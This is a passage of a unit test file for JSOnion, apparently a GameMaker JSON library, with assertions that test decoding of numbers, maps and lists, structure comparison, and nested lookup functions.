\"_jso_decode_real() failed to decode positive real number with negative exponent!\");\r\n    \r\n    //_jso_decode_real(): Negative real with negative exponent\r\n    json = ' -271.828E-2';\r\n    expected = __jso_gmt_tuple(-2.71828, 13);\r\n    actual = _jso_decode_real(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_real() failed to decode negative real number with negative exponent!\");\r\n    \r\n    //_jso_decode_real(): Positive integer\r\n    json = ' +1729';\r\n    expected = __jso_gmt_tuple(1729, 7);\r\n    actual = _jso_decode_real(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_real() failed to decode positive integer!\");\r\n    \r\n    //_jso_decode_real(): Negative integer\r\n    json = '-583';\r\n    expected = __jso_gmt_tuple(-583, 5);\r\n    actual = _jso_decode_real(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_real() failed to decode negative integer!\");\r\n    \r\n    //_jso_decode_integer(): Zero\r\n    json = ' 0  ';\r\n    expected = __jso_gmt_tuple(0, 3);\r\n    actual = _jso_decode_integer(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_integer() failed to decode zero!\");\r\n    \r\n    //_jso_decode_integer(): Positive integer\r\n    json = ' 1729   ';\r\n    expected = __jso_gmt_tuple(1729, 6);\r\n    actual = _jso_decode_integer(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_integer() failed to decode positive integer!\");\r\n    \r\n    //_jso_decode_integer(): Negative integer\r\n    json = '   -583';\r\n    expected = __jso_gmt_tuple(-583, 8);\r\n    actual = _jso_decode_integer(json, 1);\r\n    assert_equal(expected, actual, \"_jso_decode_integer() failed to decode negative integer!\");\r\n    \r\n    \r\n    ////Data structures\r\n    \r\n    //_jso_decode_map(): Empty map #1\r\n    json = '{}';\r\n    expected_structure = jso_new_map();\r\n    expected = __jso_gmt_tuple(expected_structure, 3);\r\n    actual = _jso_decode_map(json, 1);\r\n    actual_structure = __jso_gmt_elem(actual, 0);\r\n    assert_equal(__jso_gmt_elem(expected, 1), __jso_gmt_elem(actual, 1), \"_jso_decode_map() didn't stop at the right place! (#1)\");\r\n    assert_equal(actual_structure, __jso_gmt_elem(actual, 0), \"_jso_decode_map() didn't include the right prefix! (#1)\");\r\n    assert_true(jso_compare_maps(expected_structure, actual_structure), \"_jso_decode_map() failed to decode an empty map! (#1)\");\r\n    jso_cleanup_map(expected_structure);\r\n    jso_cleanup_map(actual_structure);\r\n    \r\n    //_jso_decode_map(): Empty map #2\r\n    json = '  {  }  ';\r\n    expected_structure = jso_new_map();\r\n    expected = __jso_gmt_tuple(expected_structure, 7);\r\n    actual = _jso_decode_map(json, 1);\r\n    actual_structure = __jso_gmt_elem(actual, 0);\r\n    assert_equal(__jso_gmt_elem(expected, 1), __jso_gmt_elem(actual, 1), \"_jso_decode_map() didn't stop at the right place! (#2)\");\r\n    assert_equal(actual_structure, __jso_gmt_elem(actual, 0), \"_jso_decode_map() didn't include the right prefix! (#2)\");\r\n    assert_true(jso_compare_maps(expected_structure, actual_structure), \"_jso_decode_map() failed to decode an empty map! (#2)\");\r\n    jso_cleanup_map(expected_structure);\r\n    jso_cleanup_map(actual_structure);\r\n    \r\n    //_jso_decode_map(): One-entry map\r\n    json = ' {\"key\": \"value\"} ';\r\n    expected_structure = jso_new_map();\r\n    expected = __jso_gmt_tuple(expected_structure, 18);\r\n    jso_map_add_string(expected_structure, \"key\", \"value\");\r\n    actual = _jso_decode_map(json, 1);\r\n    actual_structure = __jso_gmt_elem(actual, 0);\r\n    assert_equal(__jso_gmt_elem(expected, 1), __jso_gmt_elem(actual, 1), \"_jso_decode_map() didn't stop at the right place! (one-entry map)\");\r\n    assert_equal(actual_structure, __jso_gmt_elem(actual, 0), \"_jso_decode_map() didn't include the right prefix! (one-entry map)\");\r\n    assert_true(jso_compare_maps(expected_structure, actual_structure), \"_jso_decode_map() failed to decode a one-entry map!\");\r\n    jso_cleanup_map(expected_structure);\r\n    jso_cleanup_map(actual_structure);\r\n    \r\n    //_jso_decode_map(): Multi-entry map\r\n    json = ' {\"key\"  :  \"value\", \"pi\":3.14,  \"bool\" : true} ';\r\n    expected_structure = jso_new_map();\r\n    expected = __jso_gmt_tuple(expected_structure, 48);\r\n    jso_map_add_string(expected_structure, \"key\", \"value\");\r\n    jso_map_add_real(expected_structure, \"pi\", 3.14);\r\n    jso_map_add_boolean(expected_structure, \"bool\", true);\r\n    actual = _jso_decode_map(json, 1);\r\n    actual_structure = __jso_gmt_elem(actual, 0);\r\n    assert_equal(__jso_gmt_elem(expected, 1), __jso_gmt_elem(actual, 1), \"_jso_decode_map() didn't stop at the right place! (multi-entry map)\");\r\n    assert_equal(actual_structure, __jso_gmt_elem(actual, 0), \"_jso_decode_map() didn't include the right prefix! (multi-entry map)\");\r\n    assert_true(jso_compare_maps(expected_structure, actual_structure), \"_jso_decode_map() failed to decode a multi-entry map!\");\r\n    jso_cleanup_map(expected_structure);\r\n    jso_cleanup_map(actual_structure);\r\n    \r\n    //_jso_decode_map(): Nested maps\r\n    var submap;\r\n    json = '{ \"waahoo\" : { \"woohah\" : 3 } , \"woohah\" : 4 }';\r\n    expected_structure = jso_new_map();\r\n    expected = __jso_gmt_tuple(expected_structure, 47);\r\n    jso_map_add_integer(expected_structure, \"woohah\", 4);\r\n    submap = jso_new_map();\r\n    jso_map_add_integer(submap, \"woohah\", 3);\r\n    jso_map_add_submap(expected_structure, \"waahoo\", submap);\r\n    actual = _jso_decode_map(json, 1);\r\n    actual_structure = __jso_gmt_elem(actual, 0);\r\n    assert_equal(__jso_gmt_elem(expected, 1), __jso_gmt_elem(actual, 1), \"_jso_decode_map() didn't stop at the right place! (nested map)\");\r\n    assert_equal(actual_structure, __jso_gmt_elem(actual, 0), \"_jso_decode_map() didn't include the right prefix! (nested map)\");\r\n    assert_true(jso_compare_maps(expected_structure, actual_structure), \"_jso_decode_map() failed to decode a nested map!\");\r\n    jso_cleanup_map(expected_structure);\r\n    jso_cleanup_map(actual_structure);\r\n    \r\n    //_jso_decode_map(): Map with nested lists\r\n    var sublist, subsublist;\r\n    json = '{ \"waahoo\" : [ \"woohah\", [true] ] , \"woohah\" : 4 }';\r\n    expected_structure = jso_new_map();\r\n    expected = __jso_gmt_tuple(expected_structure, 51);\r\n    jso_map_add_real(expected_structure, \"woohah\", 4);\r\n    sublist = jso_new_list();\r\n    jso_list_add_string(sublist, \"woohah\");\r\n    subsublist = jso_new_list();\r\n    jso_list_add_boolean(subsublist, true);\r\n    jso_list_add_sublist(sublist, subsublist);\r\n    jso_map_add_sublist(expected_structure, \"waahoo\", sublist);\r\n    actual = _jso_decode_map(json, 1);\r\n    actual_structure = __jso_gmt_elem(actual, 0);\r\n    assert_equal(__jso_gmt_elem(expected, 1), __jso_gmt_elem(actual, 1), \"_jso_decode_map() didn't stop at the right place! (map with nested lists)\");\r\n    assert_equal(actual_structure, __jso_gmt_elem(actual, 0), \"_jso_decode_map() didn't include the right prefix! (map with nested lists)\");\r\n    assert_true(jso_compare_maps(expected_structure, actual_structure), \"_jso_decode_map() failed to decode a map with nested lists!\");\r\n    jso_cleanup_map(expected_structure);\r\n    jso_cleanup_map(actual_structure);\r\n    \r\n    //_jso_decode_map(): Mix-up nested map\r\n    var sublist;\r\n    json = ' { \"waahoo\" : [{}, \"a\", 1]  }';\r\n    expected_structure = jso_new_map();\r\n    expected = __jso_gmt_tuple(expected_structure, 30);\r\n    sublist = jso_new_list();\r\n    jso_list_add_submap(sublist, jso_new_map());\r\n    jso_list_add_string(sublist, \"a\");\r\n    jso_list_add_real(sublist, 1);\r\n    jso_map_add_sublist(expected_structure, \"waahoo\", sublist);\r\n    actual = _jso_decode_map(json, 1);\r\n    actual_structure = __jso_gmt_elem(actual, 0);\r\n    assert_equal(__jso_gmt_elem(expected, 1), __jso_gmt_elem(actual, 1), \"_jso_decode_map() didn't stop at the right place! (mix-up nested map)\");\r\n    assert_equal(actual_structure, __jso_gmt_elem(actual, 0), \"_jso_decode_map() didn't include the right prefix! (mix-up nested map)\");\r\n    assert_true(jso_compare_maps(expected_structure, actual_structure), \"_jso_decode_map() failed to decode a mix-up nested map!\");\r\n    jso_cleanup_map(expected_structure);\r\n    jso_cleanup_map(actual_structure);\r\n    \r\n    //_jso_decode_list(): Empty list #1\r\n    json = '[]';\r\n    expected_structure = jso_new_list();\r\n    expected = __jso_gmt_tuple(expected_structure, 3);\r\n    actual = _jso_decode_list(json, 1);\r\n    actual_structure = __jso_gmt_elem(actual, 0);\r\n    assert_equal(__jso_gmt_elem(expected, 1), __jso_gmt_elem(actual, 1), \"_jso_decode_list() didn't stop at the right place! (#1)\");\r\n    assert_equal(actual_structure, __jso_gmt_elem(actual, 0), \"_jso_decode_list() didn't include the right prefix! (#1)\");\r\n    assert_true(jso_compare_lists(expected_structure, actual_structure), \"_jso_decode_list() failed to decode an empty list! (#1)\");\r\n    jso_cleanup_list(expected_structure);\r\n    jso_cleanup_list(actual_structure)\r\n    \r\n    //_jso_decode_list(): Empty list #2\r\n    json = ' [  ] ';\r\n    expected_structure = jso_new_list();\r\n    expected = __jso_gmt_tuple(expected_structure, 6);\r\n    actual = _jso_decode_list(json, 1);\r\n    actual_structure = __jso_gmt_elem(actual, 0);\r\n    assert_equal(__jso_gmt_elem(expected, 1), __jso_gmt_elem(actual, 1), \"_jso_decode_list() didn't stop at the right place! (#2)\");\r\n    assert_equal(actual_structure, __jso_gmt_elem(actual, 0), \"_jso_decode_list() didn't include the right prefix! (#2)\");\r\n    assert_true(jso_compare_lists(expected_structure, actual_structure), \"_jso_decode_list() failed to decode an empty list! (#2)\");\r\n    jso_cleanup_list(expected_structure);\r\n    jso_cleanup_list(actual_structure);\r\n    \r\n    //_jso_decode_list(): One-entry list\r\n    json = '[3]';\r\n    expected_structure = jso_new_list();\r\n    expected = __jso_gmt_tuple(expected_structure, 4);\r\n    jso_list_add_integer(expected_structure, 3);\r\n    actual = _jso_decode_list(json, 1);\r\n    actual_structure = __jso_gmt_elem(actual, 0);\r\n    assert_equal(__jso_gmt_elem(expected, 1), __jso_gmt_elem(actual, 1), \"_jso_decode_list() didn't stop at the right place! (one-entry list)\");\r\n    assert_equal(actual_structure, __jso_gmt_elem(actual, 0), \"_jso_decode_list() didn't include the right prefix! (one-entry list)\");\r\n    assert_true(jso_compare_lists(expected_structure, actual_structure), \"_jso_decode_list() failed to decode a one-entry list!\");\r\n    jso_cleanup_list(expected_structure);\r\n    jso_cleanup_list(actual_structure);\r\n   \r\n    //_jso_decode_list(): Multi-entry list\r\n    json = ' [4,\"multi-entry\",true]';\r\n    expected_structure = jso_new_list();\r\n    expected = __jso_gmt_tuple(expected_structure, 24);\r\n    jso_list_add_real(expected_structure, 4);\r\n    jso_list_add_string(expected_structure, \"multi-entry\");\r\n    jso_list_add_boolean(expected_structure, true);\r\n    actual = _jso_decode_list(json, 1);\r\n    actual_structure = __jso_gmt_elem(actual, 0);\r\n    assert_equal(__jso_gmt_elem(expected, 1), __jso_gmt_elem(actual, 1), \"_jso_decode_list() didn't stop at the right place! (multi-entry list)\");\r\n    assert_equal(actual_structure, __jso_gmt_elem(actual, 0), \"_jso_decode_list() didn't include the right prefix! (multi-entry list)\");\r\n    assert_true(jso_compare_lists(expected_structure, actual_structure), \"_jso_decode_list() failed to decode a multi-entry list!\");\r\n    jso_cleanup_list(expected_structure);\r\n    jso_cleanup_list(actual_structure);\r\n    \r\n    //_jso_decode_list(): Nested list\r\n    var sublist;\r\n    json = ' [ [], 3, false, [\"waahoo\"]]';\r\n    expected_structure = jso_new_list();\r\n    expected = __jso_gmt_tuple(expected_structure, 29);\r\n    jso_list_add_sublist(expected_structure, jso_new_list());\r\n    jso_list_add_integer(expected_structure, 3);\r\n    jso_list_add_boolean(expected_structure, false);\r\n    sublist = jso_new_list();\r\n    jso_list_add_string(sublist, \"waahoo\");\r\n    jso_list_add_sublist(expected_structure, sublist);\r\n    actual = _jso_decode_list(json, 1);\r\n    actual_structure = __jso_gmt_elem(actual, 0);\r\n    assert_equal(__jso_gmt_elem(expected, 1), __jso_gmt_elem(actual, 1), \"_jso_decode_list() didn't stop at the right place! (nested list)\");\r\n    assert_equal(actual_structure, __jso_gmt_elem(actual, 0), \"_jso_decode_list() didn't include the right prefix! (nested list)\");\r\n    assert_true(jso_compare_lists(expected_structure, actual_structure), \"_jso_decode_list() failed to decode a nested list!\");\r\n    jso_cleanup_list(expected_structure);\r\n    jso_cleanup_list(actual_structure);\r\n    \r\n    //_jso_decode_list(): List with nested maps\r\n    var submap;\r\n    json = ' [3, false, { \"waahoo\":\"woo\"}]';\r\n    expected_structure = jso_new_list();\r\n    expected = __jso_gmt_tuple(expected_structure, 31);\r\n    jso_list_add_integer(expected_structure, 3);\r\n    jso_list_add_boolean(expected_structure, false);\r\n    submap = jso_new_map();\r\n    jso_map_add_string(submap, \"waahoo\", \"woo\");\r\n    jso_list_add_submap(expected_structure, submap);\r\n    actual = _jso_decode_list(json, 1);\r\n    actual_structure = __jso_gmt_elem(actual, 0);\r\n    assert_equal(__jso_gmt_elem(expected, 1), __jso_gmt_elem(actual, 1), \"_jso_decode_list() didn't stop at the right place! (list with nested maps)\");\r\n    assert_equal(actual_structure, __jso_gmt_elem(actual, 0), \"_jso_decode_list() didn't include the right prefix! (list with nested maps)\");\r\n    assert_true(jso_compare_lists(expected_structure, actual_structure), \"_jso_decode_list() failed to decode a list with nested maps!\");\r\n    jso_cleanup_list(expected_structure);\r\n    jso_cleanup_list(actual_structure);\r\n    \r\n    //_jso_decode_list(): Mix-up nested list\r\n    var submap;\r\n    json = '[{}, {\"a\":[]}]';\r\n    expected_structure = jso_new_list();\r\n    expected = __jso_gmt_tuple(expected_structure, 15);\r\n    jso_list_add_submap(expected_structure, jso_new_map());\r\n    submap = jso_new_map();\r\n    jso_map_add_sublist(submap, \"a\", jso_new_list());\r\n    jso_list_add_submap(expected_structure, submap);\r\n    actual = _jso_decode_list(json, 1);\r\n    actual_structure = __jso_gmt_elem(actual, 0);\r\n    assert_equal(__jso_gmt_elem(expected, 1), __jso_gmt_elem(actual, 1), \"_jso_decode_list() didn't stop at the right place! (mix-up nested list)\");\r\n    assert_equal(actual_structure, __jso_gmt_elem(actual, 0), \"_jso_decode_list() didn't include the right prefix! (mix-up nested list)\");\r\n    assert_true(jso_compare_lists(expected_structure, actual_structure), \"_jso_decode_list() failed to decode a mix-up nested list!\");\r\n    jso_cleanup_list(expected_structure);\r\n    jso_cleanup_list(actual_structure);\r\n}\r\n\r\n#define _test_jso_compare\r\n{\r\n    /**\r\n    _test_jso_compare(): Test basic jso_compare_*() functions.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    var a, b;\r\n    \r\n    //jso_compare_maps(): Empty maps should equal each other\r\n    a = jso_new_map();\r\n    b = jso_new_map();\r\n    assert_true(jso_compare_maps(a, b), \"Empty maps should equal each other. (#1)\");\r\n    assert_true(jso_compare_maps(b, a), \"Empty maps should equal each other. (#2)\");\r\n    jso_cleanup_map(a);\r\n    jso_cleanup_map(b);\r\n    \r\n    //jso_compare_maps(): An empty map should not equal a filled map\r\n    a = jso_new_map();\r\n    b = jso_new_map();\r\n    jso_map_add_string(b, \"junk\", \"info\");\r\n    jso_map_add_integer(b, \"taxi\", 1729);\r\n    assert_false(jso_compare_maps(a, b), \"An empty map should not equal a filled map. (#1)\");\r\n    assert_false(jso_compare_maps(b, a), \"An empty map should not equal a filled map. (#2)\");\r\n    jso_cleanup_map(a);\r\n    jso_cleanup_map(b);\r\n    \r\n    //jso_compare_maps(): Maps with same content entered in different orders should equal each other\r\n    a = jso_new_map();\r\n    b = jso_new_map();\r\n    jso_map_add_real(a, \"A\", 1);\r\n    jso_map_add_real(a, \"B\", 2);\r\n    jso_map_add_real(a, \"C\", 3);\r\n    jso_map_add_real(b, \"C\", 3);\r\n    jso_map_add_real(b, \"A\", 1);\r\n    jso_map_add_real(b, \"B\", 2);\r\n    assert_true(jso_compare_maps(a, b), \"Maps with same content entered in different orders should equal each other. (#1)\");\r\n    assert_true(jso_compare_maps(b, a), \"Maps with same content entered in different orders should equal each other. (#2)\");\r\n    jso_cleanup_map(a);\r\n    jso_cleanup_map(b);\r\n    \r\n    //jso_compare_maps(): Maps with different keys should not equal each other\r\n    a = jso_new_map();\r\n    b = jso_new_map();\r\n    jso_map_add_real(a, \"A\", 1);\r\n    jso_map_add_real(a, \"B\", 2);\r\n    jso_map_add_real(a, \"C\", 3);\r\n    jso_map_add_real(b, \"D\", 3);\r\n    jso_map_add_real(b, \"A\", 1);\r\n    jso_map_add_real(b, \"B\", 2);\r\n    assert_false(jso_compare_maps(a, b), \"Maps with different keys should not equal each other. (#1)\");\r\n    assert_false(jso_compare_maps(b, a), \"Maps with different keys should not equal each other. (#2)\");\r\n    jso_cleanup_map(a);\r\n    jso_cleanup_map(b);\r\n    \r\n    //jso_compare_maps(): Maps with different values should not equal each other\r\n    a = jso_new_map();\r\n    b = jso_new_map();\r\n    jso_map_add_real(a, \"A\", 5);\r\n    jso_map_add_real(a, \"B\", 6);\r\n    jso_map_add_real(a, \"C\", 9);\r\n    jso_map_add_real(b, \"A\", 5);\r\n    jso_map_add_real(b, \"B\", 6);\r\n    jso_map_add_real(b, \"C\", 8);\r\n    assert_false(jso_compare_maps(a, b), \"Maps with different values should not equal each other. (#1)\");\r\n    assert_false(jso_compare_maps(b, a), \"Maps with different values should not equal each other. (#2)\");\r\n    jso_cleanup_map(a);\r\n    jso_cleanup_map(b);\r\n    \r\n    //jso_compare_maps(): Maps with corresponding values of different types should not equal each other, and should not crash.\r\n    a = jso_new_map();\r\n    b = jso_new_map();\r\n    jso_map_add_real(a, \"A\", 5);\r\n    jso_map_add_real(a, \"B\", 6);\r\n    jso_map_add_real(a, \"C\", 8);\r\n    jso_map_add_real(b, \"A\", 5);\r\n    jso_map_add_string(b, \"B\", \"six\");\r\n    jso_map_add_real(b, \"C\", 8);\r\n    assert_false(jso_compare_maps(a, b), \"Maps with corresponding values of different types should not equal each other, and should not crash. (#1)\");\r\n    assert_false(jso_compare_maps(b, a), \"Maps with corresponding values of different types should not equal each other, and should not crash. (#2)\");\r\n    jso_cleanup_map(a);\r\n    jso_cleanup_map(b);\r\n    \r\n    //jso_compare_lists(): Empty lists should equal each other\r\n    a = jso_new_list();\r\n    b = jso_new_list();\r\n    assert_true(jso_compare_lists(a, b), \"Empty lists should equal each other. (#1)\");\r\n    assert_true(jso_compare_lists(b, a), \"Empty lists should equal each other. (#2)\");\r\n    jso_cleanup_list(a);\r\n    jso_cleanup_list(b);\r\n    \r\n    //jso_compare_lists(): An empty list should not equal a filled list\r\n    a = jso_new_list();\r\n    b = jso_new_list();\r\n    jso_list_add_string(b, \"junk\");\r\n    jso_list_add_integer(b, 1729);\r\n    assert_false(jso_compare_lists(a, b), \"An empty list should not equal a filled list. (#1)\");\r\n    assert_false(jso_compare_lists(b, a), \"An empty list should not equal a filled list. (#2)\");\r\n    jso_cleanup_list(a);\r\n    jso_cleanup_list(b);\r\n    \r\n    //jso_compare_lists(): Lists with same content entered in different orders should not equal each other\r\n    a = jso_new_list();\r\n    b = jso_new_list();\r\n    jso_list_add_real(a, 1);\r\n    jso_list_add_real(a, 2);\r\n    jso_list_add_real(a, 3);\r\n    jso_list_add_real(b, 3);\r\n    jso_list_add_real(b, 1);\r\n    jso_list_add_real(b, 2);\r\n    assert_false(jso_compare_lists(a, b), \"Lists with same content entered in different orders should not equal each other. (#1)\");\r\n    assert_false(jso_compare_lists(b, a), \"Lists with same content entered in different orders should not equal each other. (#2)\");\r\n    jso_cleanup_list(a);\r\n    jso_cleanup_list(b);\r\n    \r\n    //jso_compare_lists(): Lists with corresponding entries of different types should not equal each other, should also not crash.\r\n    a = jso_new_list();\r\n    b = jso_new_list();\r\n    jso_list_add_real(a, 1);\r\n    jso_list_add_real(a, 2);\r\n    jso_list_add_real(a, 3);\r\n    jso_list_add_real(b, 1);\r\n    jso_list_add_string(b, \"two\");\r\n    jso_list_add_real(b, 3);\r\n    assert_false(jso_compare_lists(a, b), \"Lists with corresponding entries of different types should not equal each other, should also not crash. (#1)\");\r\n    assert_false(jso_compare_lists(b, a), \"Lists with corresponding entries of different types should not equal each other, should also not crash. (#2)\");\r\n    jso_cleanup_list(a);\r\n    jso_cleanup_list(b);\r\n}\r\n\r\n#define _test_jso_lookup\r\n{\r\n    /**\r\n    _test_jso_lookup(): Test core jso_*_lookup() and jso_*_check() functions for nested structures.\r\n    JSOnion version: 1.0.0d\r\n    */\r\n    var json, structure, expected, actual;\r\n    \r\n    //jso_map_check(): Single argument --- exists\r\n    json = '{ \"one\" : 1, \"two\" : 2, \"three\" : 3 }';\r\n    structure = jso_decode_map(json);\r\n    assert_true(jso_map_check(structure, \"one\"), \"jso_map_check() failed to find existing entry! (single argument)\");\r\n    jso_cleanup_map(structure);\r\n    \r\n    //jso_map_lookup(): Single argument --- exists\r\n    json = '{ \"one\" : 1, \"two\" : 2, \"three\" : 3 }';\r\n    structure = jso_decode_map(json);\r\n    expected = 1;\r\n    actual = jso_map_lookup(structure, \"one\")\r\n    assert_equal(expected, actual, \"jso_map_lookup() found the wrong entry! (single argument)\");\r\n    jso_cleanup_map(structure);\r\n    \r\n    //jso_map_lookup_type(): Single argument --- exists\r\n    json = '{ \"one\" : -1, \"two\" : true, \"three\" : \"trap\" }';\r\n    structure = jso_decode_map(json);\r\n    expected = jso_type_real;\r\n    actual = jso_map_lookup_type(structure, \"one\")\r\n    assert_equal(expected, actual, \"jso_map_lookup_type() found the wrong type! (single argument)\");\r\n    jso_cleanup_map(structure);\r\n    \r\n    //jso_map_check(): Single argument --- doesn't exist\r\n    json = '{ \"one\" : 1, \"two\" : 2, \"three\" : 3 }';\r\n    structure = jso_decode_map(json);\r\n    assert_false(jso_map_check(structure, \"four\"), \"jso_map_check() found an inexistent entry! (single argument)\");\r\n    jso_cleanup_map(structure);\r\n    \r\n    //jso_map_check(): Single argument --- doesn't exist\r\n    json = '{ \"one\" : 1, \"two\" : 2, \"three\" : 3, \"four\" : { \"A\":true, \"B\":false } }';\r\n    structure = jso_decode_map(json);\r\n    assert_false(jso_map_check(structure, \"A\"), \"jso_map_check() found an inexistent entry! (single argument, nested)\");\r\n    jso_cleanup_map(structure);\r\n    \r\n    //jso_map_check(): Multiple arguments (recurse) --- exists\r\n    json = '{ \"one\" : 1, \"two\" : 2, \"three\" : 3, \"four\" : { \"A\":true, \"B\":false } }';\r\n    structure = jso_decode_map(json);\r\n    assert_true(jso_map_check(structure, \"four\", \"A\"), \"jso_map_check() failed to find existing entry! (multiple arguments)\");\r\n    jso_cleanup_map(structure);\r\n    \r\n    //jso_map_lookup(): Multiple arguments (recurse) --- exists\r\n    json = '{ \"one\" : 1, \"two\" : 2, \"three\" : 3, \"four\" : { \"A\":true, \"B\":false } }';\r\n    structure = jso_decode_map(json);\r\n    expected = true;\r\n    actual = jso_map_lookup(structure, \"four\", \"A\");\r\n    assert_equal(expected, actual, \"jso_map_lookup() found the wrong entry! (multiple arguments)\");\r\n    jso_cleanup_map(structure);\r\n    \r\n    //jso_map_lookup_type(): Multiple arguments (recurse) --- exists\r\n    json = '{ \"one\" : 1, \"two\" : 2, \"three\" : 3, \"four\" : { \"A\":true, \"B\":\"trap\" } }';\r\n    structure = jso_decode_map(json);\r\n    expected = jso_type_boolean;\r\n    actual = jso_map_lookup_type(structure, \"four\", \"A\");\r\n    assert_equal(expected, actual, \"jso_map_lookup_type() found the wrong type! (multiple arguments)\");\r\n    jso_cleanup_map(structure);\r\n    \r\n    //jso_map_check(): Multiple arguments (recurse) --- doesn't exist\r\n    json = '{ \"one\" : 1, \"two\" : 2, \"three\" : 3, \"four\" : { \"A\":true, \"B\":false } }';\r\n    structure = jso_decode_map(json);\r\n    assert_false(jso_map_check(structure, \"four\", \"C\"), \"jso_map_check() found an inexistent entry! (multiple arguments, 1)\");\r\n    jso_cleanup_map(structure);\r\n    \r\n    //jso_map_check(): Multiple arguments (recurse) --- doesn't exist\r\n    json = '{ \"one\" : 1, \"two\" : 2, \"three\" : 3, \"four\" : { \"A\":true, \"B\":false } }';\r\n    structure = jso_decode_map(json);\r\n    assert_false(jso_map_check(structure, \"three\", \"\"), \"jso_map_check() found an inexistent entry! (multiple arguments, 2)\");\r\n    jso_cleanup_map(structure);\r\n    \r\n    //jso_map_check(): Multiple arguments with nested list --- exists\r\n    json = '{ \"one\" : 1, \"two\" : 2, \"three\" : 3, \"four\" : [ \"A\", true, [\"B\", false] ] }';\r\n    structure = jso_decode_map(json);\r\n    assert_true(jso_map_check(structure, \"four\", 2, 1), \"jso_map_check() failed to find an existing entry! (multiple arguments, nested)\");\r\n    jso_cleanup_map(structure);\r\n    \r\n    //jso_map_lookup(): Multiple arguments with nested list --- exists\r\n    json = '{ \"one\" : 1, \"two\" : 2, \"three\" : 3, \"four\" : [ \"A\", true, [\"B\", false] ] }';\r\n    structure = jso_decode_map(json);\r\n    expected = false;\r\n    actual = jso_map_lookup(structure, \"four\", 2, 1);\r\n    assert_equal(expected, actual, \"jso_map_lookup() failed to find an existing entry! (multiple arguments, nested)\");\r\n    jso_cleanup_map(structure);\r\n    \r\n    //jso_map_lookup_type(): Multiple arguments with nested list --- exists\r\n    json = '{ \"one\" : 1, \"two\" : 2, \"three\" : 3, \"four\" : [ \"A\", true, [false, \"false\"] ] }';\r\n    structure = jso_decode_map(json);\r\n    expected = jso_type_string;\r\n    actual = jso_map_lookup_type(structure, \"four\", 2, 1);\r\n    assert_equal(expected, actual, \"jso_map_lookup_type() found the wrong type! (multiple arguments, nested)\");\r\n    jso_cleanup_map(structure);\r\n    \r\n    //jso_map_check(): Multiple arguments with nested list --- wrong type\r\n    json = '{ \"one\" : 1, \"two\" : 2, \"three\" : 3, \"four\" : [ \"A\", true, [\"B\", false] ] }';\r\n    structure = jso_decode_map(json);\r\n    assert_false(jso_map_check(structure, \"four\", \"A\", 1), \"jso_map_check() found an inexistent entry! (multiple arguments, nested, wrong type)\");\r\n    jso_cleanup_map(structure);\r\n    \r\n    //jso_map_check(): Multiple arguments with nested list --- index overflow\r\n    json = '{ \"one\" : 1, \"two\" : 2, \"three\" : 3, \"four\" : [ \"A\", true, [\"B\", false] ] }';\r\n    structure = jso_decode_map(json);\r\n    assert_false(jso_map_check(structure, \"four\", 2, 3), \"jso_map_check() found an inexistent entry! (multiple arguments, nested, index overflow)\");\r\n    jso_cleanup_map(structure);\r\n    \r\n    //jso_list_check(): Single argument --- exists\r\n    json = '[\"one\", 2, \"three\", true, 5]';\r\n    structure = jso_decode_list(json);\r\n    assert_true(jso_list_check(structure, 2), \"jso_list_check() failed to find an existing index! (single argument)\");\r\n    jso_cleanup_list(structure);\r\n    \r\n    //jso_list_lookup(): Single argument --- exists\r\n    json = '[\"one\", 2, \"three\", true, 5]';\r\n    structure = jso_decode_list(json);\r\n    expected = \"three\";\r\n    actual = jso_list_lookup(structure, 2);\r\n    assert_equal(expected, actual, \"jso_list_lookup() found the wrong index! (single argument)\");\r\n    jso_cleanup_list(structure);\r\n    \r\n    //jso_list_lookup_type(): Single argument --- exists\r\n    json = '[\"one\", 2, \"three\", true, 5]';\r\n    structure = jso_decode_list(json);\r\n    expected = jso_type_string;\r\n    actual = jso_list_lookup_type(structure, 2);\r\n    assert_equal(expected, actual, \"jso_list_lookup_type() found the wrong type! (single argument)\");\r\n    jso_cleanup_list(structure);\r\n    \r\n    //jso_list_check(): Single argument --- doesn't exist\r\n    json = '[\"one\", 2, \"three\", true, 5]';\r\n    structure = jso_decode_list(json);\r\n    assert_false(jso_list_check(structure, 5), \"jso_list_check() found an inexistent index! (single argument)\");\r\n    jso_cleanup_list(structure);\r\n    \r\n    //jso_list_check(): Multiple arguments (recurse) --- exists\r\n    json = '[\"one\", 2, [\"three\", 3], true, 5]';\r\n    structure = jso_decode_list(json);\r\n    assert_true(jso_list_check(structure, 2, 1), \"jso_list_check() failed to find an existing index! (multiple arguments)\");\r\n    jso_cleanup_list(structure);\r\n    \r\n    //jso_list_lookup(): Multiple arguments (recurse) --- exists\r\n    json = '[\"one\", 2, [\"three\", 3], true, 5]';\r\n    structure = jso_decode_list(json);\r\n    expected = 3;\r\n    actual = jso_list_lookup(structure, 2, 1);\r\n    assert_equal(expected, actual, \"jso_list_lookup() failed to find an existing index! (multiple arguments)\");\r\n    jso_cleanup_list(structure);\r\n    \r\n    //jso_list_lookup_type(): Multiple arguments (recurse) --- exists\r\n    json = '[\"one\", 2, [\"three\", 3], true, 5]';\r\n    structure = jso_decode_list(json);\r\n    expected = jso_type_real;\r\n    actual = jso_list_lookup_type(structure, 2, 1);\r\n    assert_equal(expected, actual, \"jso_list_lookup_type() found the wrong type! (multiple arguments)\");\r\n    jso_cleanup_list(structure);\r\n    \r\n    //jso_list_check(): Multiple arguments (recurse) --- doesn't exist, inner index overflow\r\n    json = '[\"one\", 2, [\"three\", 3], true, 5]';\r\n    structure = jso_decode_list(json);\r\n    assert_false(jso_list_check(structure, 2, 2), \"jso_list_check() found an inexistent index! (multiple arguments, inner index overflow)\");\r\n    jso_cleanup_list(structure);\r\n    \r\n    //jso_list_check(): Multiple arguments (recurse) --- doesn't exist, trying to index single entry\r\n    json = '[\"one\", 2, [\"three\", 3], true, 5]';\r\n    structure = jso_decode_list(json);\r\n    assert_false(jso_list_check(structure, 1, 0), \"jso_list_check() found an inexistent index! (multiple arguments, indexing single entry)\");\r\n    jso_cleanup_list(structure);\r\n    \r\n    //jso_list_check(): Multiple arguments with nested map --- exists\r\n    json = '[\"one\", 2, {\"three\":3}, true, 5]';\r\n    structure = jso_decode_list(json);\r\n    assert_true(jso_list_check(structure, 2, \"three\"), \"jso_list_check() failed to find an existing entry! (multiple arguments, nested 